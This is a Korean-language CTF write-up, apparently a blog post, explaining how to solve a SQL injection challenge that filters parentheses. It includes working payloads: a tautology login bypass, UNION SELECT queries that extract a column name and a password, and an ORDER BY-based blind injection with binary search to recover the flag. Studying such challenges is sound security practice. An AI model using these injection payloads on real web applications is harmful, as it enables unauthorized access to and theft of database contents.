ID와 PW는 기존문제랑 푸는 방법이 똑같습니다.
그런데!!
'(', ')' 소괄호를 아예 사용할 수가 없어서 flag를 기존과 동일한 방법으로 구할 수가 없습니다!
이전문제에서 150 카운트 되면 flag가 변경되니까 blind_SQL_INJECTION 사용할 수 없다고 했는데
이번 문제에서 아주 야무지게 사용할 수 있습니다!!!
ID, PW_COLUMN, PW 구하는 방법은 이전과 똑같으니까 참고하시기 바랍니다.
ID | ?id=' or 1%23 (id) | zairowkdlfhdkel |
PW_COLUMN | ?id=' and 0 union select 1,&pw=,3,4,5%23 | xvvcPw4coaa1sslfe |
PW | ?id=' union select 1,xvvcPw4coaa1sslfe,3,4,5 from findflag_2%23 | URL 인젝션 전 : wkdlfhpw!!@%%#@@# URL 인젝션 후 : wkdlfhpw!!%40%25%25%23%40%40%23 |
이전문제에서 확인했다시피 $query[$id_column]
쿼리값에서 id 컬럼의 데이터를 확인할 수 가 있었습니다.
그러면 flag가 위치하는 4번째 컬럼에 오름차순으로 order by시키면
blind_sql_injection을 사용해서 flag문자와 일치하지 않으면
id값인 'zairowkdlfhdkel'이 출력되고,
flag문자와 일치하면 저희가 두번째 컬럼에 지정한 값이 출력되도록
조건 값을 설정하여 공격을 할 수 있습니다.
아래에 예시가 있습니다.
3번째 컬럼에 위치한 pw를 정렬(기본값 : 오름차순)해서 값이('a' == 'a'ssaf123sdfsdf) 일치하면
a가 상위 튜플에 위치한 것을 확인할 수 있습니다.
반면
값('b' == 'a'ssaf123sdfsdf)이 일치하지 않으면 목적값이
상위 튜플에 위치한 것을 확인할 수 있습니다.
위에는 순서가 변화는 경계값만 확인했는데(하필 가장 상단의 'a'를 해서 확인을 할 수 가 없네...)
전체적으로 보면
(찾고자 하는 문자의 첫번째 값이 'e'일때)
a | b | c | d | e | f | g | h | i | j |
9999 | 9999 | 9999 | 9999 | 9999 | kwonohjun | kwonohjun | kwonohjun | kwonohjun | kwonohjun |
오름차순 정렬이니까 'e'포함 앞의 알파벳은 다 상위에 위치하게 되고
나머지는 하위에 위치하게 됩니다.
정리하면
flag(assaf123sdfsdf)와 하나 씩 매칭해서 일치하면
내가 임의로 입력한 값 두번 째 컬럼에 위치한 '9999' 가 출력되게 되고
일치하지 않으면 $query[$id_column] 에 의해 id값인 'zairowkdlfhdkel'이 출력되게 됩니다.
(이전문제에서 확인했다시피 두번 째 컬럼이 웹에서 표현되는 컬럼입니다.)
문제로 돌아와서 잠깐 코드를 보면
$string = "1234567890abcdefghijklmnopqrstuvwxyz";
return str_shuffle($string);
str_shuffle이 $string문자를 하나씩 랜덤으로 사용하면서 사용한 문자는 사라집니다.
($string 개수 : 36->35->34->33->...->1)
문자를 하나씩 대조한다고 하면 36+35+34+33+...+1
150개가 당연히 넘어가겠죠? ㅎㅎ
그래서 이진 탐색을 사용해서 공격을 해볼겁니다.
저는 36개의 문자의 중간은 (1+36)/2=18.5(반올림 : 19)
19가 9999이면 19번째 이상에 flag값 문자 하나가 존재하는거니까 19미만은 삭제
zairowkdlfhdkel면 19미만에 존재하는거니까 19이상은 삭제 이런식으로 할겁니다.
19번째 | 9999 | flag>=19 | 19미만 삭제 |
19번째 | zairowkdlfhdkel | flag<19 | 19이상 삭제 |

반복할때마다 $string = "1234567890abcdefghijklmnopqrstuvwxyz";
개수는 하나씩 줄어드니까 이진 탐색 횟수도 줄어듭니다.
